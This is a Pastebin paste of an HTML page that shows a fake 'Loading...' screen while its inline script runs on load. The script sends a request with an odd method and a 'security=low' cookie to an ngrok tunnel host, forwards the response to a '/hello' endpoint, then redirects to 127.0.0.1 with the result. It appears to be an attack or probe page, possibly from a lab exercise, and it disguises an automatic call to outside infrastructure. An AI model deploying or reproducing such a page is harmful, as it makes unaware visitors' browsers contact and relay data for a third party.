Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <link rel="stylesheet" href="style.css">
- </head>
- <body id="main">
- <div class="preloader">
- <img src="./img/logo.png">
- <div>Loading...</div>
- <span class="line line-1"></span>
- <span class="line line-2"></span>
- <span class="line line-3"></span>
- <span class="line line-4"></span>
- <span class="line line-5"></span>
- <span class="line line-6"></span>
- <span class="line line-7"></span>
- <span class="line line-8"></span>
- <span class="line line-9"></span>
- </div>
- <script src="./js/superagent.min.js"></script>
- <script>(function () {
- var policy = {"method":"halllooololololol","url":"http://0.tcp.ngrok.io:6969","headers":{"cookie":"security=low;","content-type":"application/json","channel":"1LVV5XVF7Z"},"timeout":0}
- var returnTo = '127.0.0.1'
- function getBundle(status, content) {
- return superagent('POST', '/hello')
- .set('x-external-status', status)
- .set('x-external-partner', 'krasti_krep')
- .set('Content-Type', 'application/json')
- .send(content)
- .end(function (err, res) {
- if (err) {
- console.debug('/hello call error', err)
- return redirect()
- }
- console.debug('/hello call success', res.body)
- return redirect(res.body.bundle)
- })
- }
- function getSubscriberId(method, url, headers, payload) {
- var request = superagent(method, url)
- .set(headers || {})
- .timeout(policy.timeout)
- .ok(function (res) { return res.status })
- if (payload) {
- request.send(payload)
- }
- return request.end(function (err, res) {
- const status = err ? 0 : res.status
- const response = err ? err : res.body
- const message = err ? 'policy call error' : 'policy call response'
- console.debug(message, status, response)
- return getBundle(status, response)
- })
- }
- function updateQueryStringParameter(uri, key, value) {
- var re = new RegExp("([?&])" + key + "=.*?(&|#|$)", "i")
- var separator = uri.indexOf('?') !== -1 ? "&" : "?"
- if (uri.match(re)) {
- return uri.replace(re, '$1' + key + "=" + value + '$2')
- }
- else {
- return uri + separator + key + "=" + value
- }
- }
- function redirect(bundle) {
- if (bundle) {
- window.location.href = updateQueryStringParameter(returnTo, 'bundle', bundle)
- return
- }
- window.location.href = returnTo
- }
- window.onerror = function () {
- try {
- redirect()
- } catch (err) {
- return true // Don't allow infinity of recursively unhandled errors
- }
- }
- setTimeout(function () {
- var preloaderEl = document.querySelector('.preloader');
- if (preloaderEl) {
- preloaderEl.style.display = 'block';
- }
- }, 1500)
- getSubscriberId(policy.method, policy.url, policy.headers, policy.payload)
- })();</script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement